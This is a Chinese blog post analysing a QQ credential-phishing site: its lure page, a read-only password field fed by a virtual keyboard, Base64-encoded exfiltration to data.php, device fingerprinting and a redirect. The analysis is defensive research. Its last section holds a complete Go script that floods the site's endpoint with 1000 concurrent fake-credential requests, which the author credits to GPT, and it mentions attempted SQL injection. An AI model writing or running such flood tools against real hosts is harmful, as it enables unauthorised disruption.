1306 字
3 分钟
某QQ盗号网站的技术分析
近期,我们观察到一个域名为 rb.ootits.com 的钓鱼网站,该网站通过一套精心设计的流程来窃取用户的QQ凭证。本文将从纯技术的角度,对其前端实现、数据交互及攻击链进行详细的剖析。
攻击流程总览
该钓鱼攻击并非单页面作战,而是构成了一个完整的、自动化的攻击链,大致可分为四个阶段:
- 诱饵阶段 (Lure):通过特定主题的页面吸引用户交互。
- 钓鱼阶段 (Phish):在高度仿真的页面上诱导用户输入凭证。
- 窃取阶段 (Exfiltrate):在后台将凭证数据编码并发送至服务器。
- 收尾阶段 (Redirect):将用户重定向至合法网站以掩盖攻击行为。
核心技术细节剖析
1. 场景化社会工程学:双层诱导设计
攻击的入口是一个伪装页面,而非直接的登录表单。
- 初始页面 (
index.html):- 主题伪装: 页面
<title>设置为“学生资料”,并使用School.png作为背景,构建了一个特定场景,旨在降低特定人群(如学生、家长)的警惕性。 - 交互诱导: 整个页面是一个可点击区域,触发
gout()JavaScript函数。该函数弹出一个提示:“当前文档过大,需要登录QQ才能查看”,为后续的登录请求制造了一个看似合理的理由。 - 流程跳转: 用户点击确认后,
window.location.href将页面导航至下一步的钓鱼表单/step_in/。
- 主题伪装: 页面
2. 前端规避技术:自定义虚拟键盘
这是本次钓鱼攻击中技术实现上最为关键的一环。
- 目的: 旨在绕过现代浏览器、密码管理器及终端安全软件的防护机制。
- 实现:
- 通过HTML和CSS构建了一套完整的屏幕虚拟键盘。
- 核心的密码输入框被设置为
readonly属性:<input id="p" class="inputstyle" maxlength="16" type="password" name="pass" placeholder="密码" readonly> readonly属性使得用户无法通过物理键盘或操作系统弹出的软键盘进行输入,强制用户必须使用页面提供的虚拟键盘。这可以有效防止浏览器插件的密码自动填充、安全警告以及基于键盘事件的监控。
3. 数据外泄:编码与隐蔽通信
用户凭证的发送过程是静默的,通过后台AJAX请求完成,用户不会察觉到页面刷新。
- 数据封装与编码:
- 构造JS对象: 首先,脚本获取账号和密码,构造成一个JavaScript对象。
{ user: "114514", pass: "qwwedtb" }
- JSON序列化: 接着,该对象被转换成一个JSON格式的字符串。
'{"user":"114514","pass":"qwwedtb"}'
- Base64编码: 最后,整个JSON字符串被进行Base64编码,形成最终用于传输的载荷。

- 构造JS对象: 首先,脚本获取账号和密码,构造成一个JavaScript对象。
- 数据传输:
- 编码后的字符串作为GET请求的参数,由一个名为
ds()的函数通过XMLHttpRequest发送到后台的data.php脚本。 - 请求示例如下,其中
sv参数的值即为Base64编码后的载荷:GET /app/data.php?sv=ZXlKaFkzUWlPaUp6ZGlJc0ltUmhkR0VpT25zaWRYTmxjaUk2SWpFeE5EVXhOQ0lzSW5CaGMzTWlPaUp4ZDNkbFpIUmlJbjE5 HTTP/2 - 这种方式将恶意数据隐藏在看似随机的编码字符串中,增加了流量检测的难度。
- 编码后的字符串作为GET请求的参数,由一个名为
4. 受害者追踪:设备指纹采集
在发送凭证的同时,另一个脚本 cess/index.php 负责采集详细的受害者设备指纹。
-
采集信息: 通过URL参数,该脚本收集了大量客户端环境信息,包括:
- IP 地址与地理位置
- 操作系统 (
IOS) - 浏览器类型 (
Safari) - 屏幕分辨率
- 设备类型 (手机)
- 来源页面与当前页面标题
-
用途: 这些数据为攻击者提供了详尽的统计视图,用于评估钓鱼活动的有效性及分析受害者画像。
5. 攻击收尾:动态重定向
数据窃取成功后,攻击流程并未中止,而是进入了精心设计的收尾阶段。
- 服务器端指令:
data.php在成功接收凭证后,其响应体中包含下一步指令:{"err": 0,"location": "../step_code/"} - 中间页跳转: 浏览器根据
location指令跳转到一个临时的中间页面/step_code/。 - 最终跳转: 该中间页面会再次向
data.php?sv=js发起请求,获取最终的跳转配置。服务器返回的JavaScript中定义了最终的跳转目标:var conf = {// ...其他配置"readyJump": "[https://docs.qq.com/](https://docs.qq.com/)"}; - 完成欺骗: 浏览器最终被重定向到合法的腾讯文档官网。这一步操作极具欺骗性,它销毁了钓鱼现场,并让受害者感觉自己成功完成了一次正常的登录操作,从而最大程度地避免了嫌疑。
4. 你他喵的:怎么收拾你捏
尝试sql注入无果,
最后写暴力请求程序秒了,现在网站已经挂了,dns解析也置空了233333
package main
import ( "bytes" "encoding/base64" "encoding/json" "fmt" "math/rand" "net/http" "sync" "sync/atomic" "time")
// 配置const ( url = "https://rb.ootits.com/app/data.php" userAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" cookie = "PHPSESSID=3a91640cc9491b1f01bb61496ca7938f" concurrency = 1000 // 并发数量)
// 请求计数var totalRequests uint64var totalBytes uint64
func randomString(n int) string { letters := []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") s := make([]rune, n) for i := range s { s[i] = letters[rand.Intn(len(letters))] } return string(s)}
func makePayload() string { data := map[string]interface{}{ "act": "sv", "data": map[string]string{ "user": randomString(8), "pass": randomString(10), }, } jsonBytes, _ := json.Marshal(data) // 双层 Base64 encoded := base64.StdEncoding.EncodeToString([]byte(base64.StdEncoding.EncodeToString(jsonBytes))) return encoded}
func sendPost(wg *sync.WaitGroup) { defer wg.Done() client := &http.Client{ Timeout: 10 * time.Second, } for { payload := makePayload() form := fmt.Sprintf("sv=%s", payload) req, _ := http.NewRequest("POST", url, bytes.NewBufferString(form)) req.Header.Set("User-Agent", userAgent) req.Header.Set("Accept", "*/*") req.Header.Set("X-Requested-With", "XMLHttpRequest") req.Header.Set("Sec-Fetch-Site", "same-origin") req.Header.Set("Sec-Fetch-Mode", "cors") req.Header.Set("Sec-Fetch-Dest", "empty") req.Header.Set("Referer", "https://rb.ootits.com/step_in/") req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd") req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8") req.Header.Set("Cookie", cookie) req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
resp, err := client.Do(req) if err == nil { n, _ := resp.Body.Read(make([]byte, 1024)) // 读取部分数据计算流量 atomic.AddUint64(&totalRequests, 1) atomic.AddUint64(&totalBytes, uint64(n)) resp.Body.Close() } else { fmt.Println("请求错误:", err) } }}
func main() { rand.Seed(time.Now().UnixNano())
var wg sync.WaitGroup for i := 0; i < concurrency; i++ { wg.Add(1) go sendPost(&wg) }
// 每秒输出统计 ticker := time.NewTicker(1 * time.Second) go func() { var lastReq uint64 var lastBytes uint64 for range ticker.C { req := atomic.LoadUint64(&totalRequests) bytes := atomic.LoadUint64(&totalBytes) fmt.Printf("每秒请求数: %d, 每秒流量: %.2f KB\n", req-lastReq, float64(bytes-lastBytes)/1024) lastReq = req lastBytes = bytes } }()
wg.Wait()}GPT写的,好使!
分享
如果这篇文章对你有帮助,欢迎分享给更多人!
某QQ盗号网站的技术分析
https://blog.chaomixian.top/posts/某qq盗号网站的技术分析/ 部分信息可能已经过时
相关文章 智能推荐









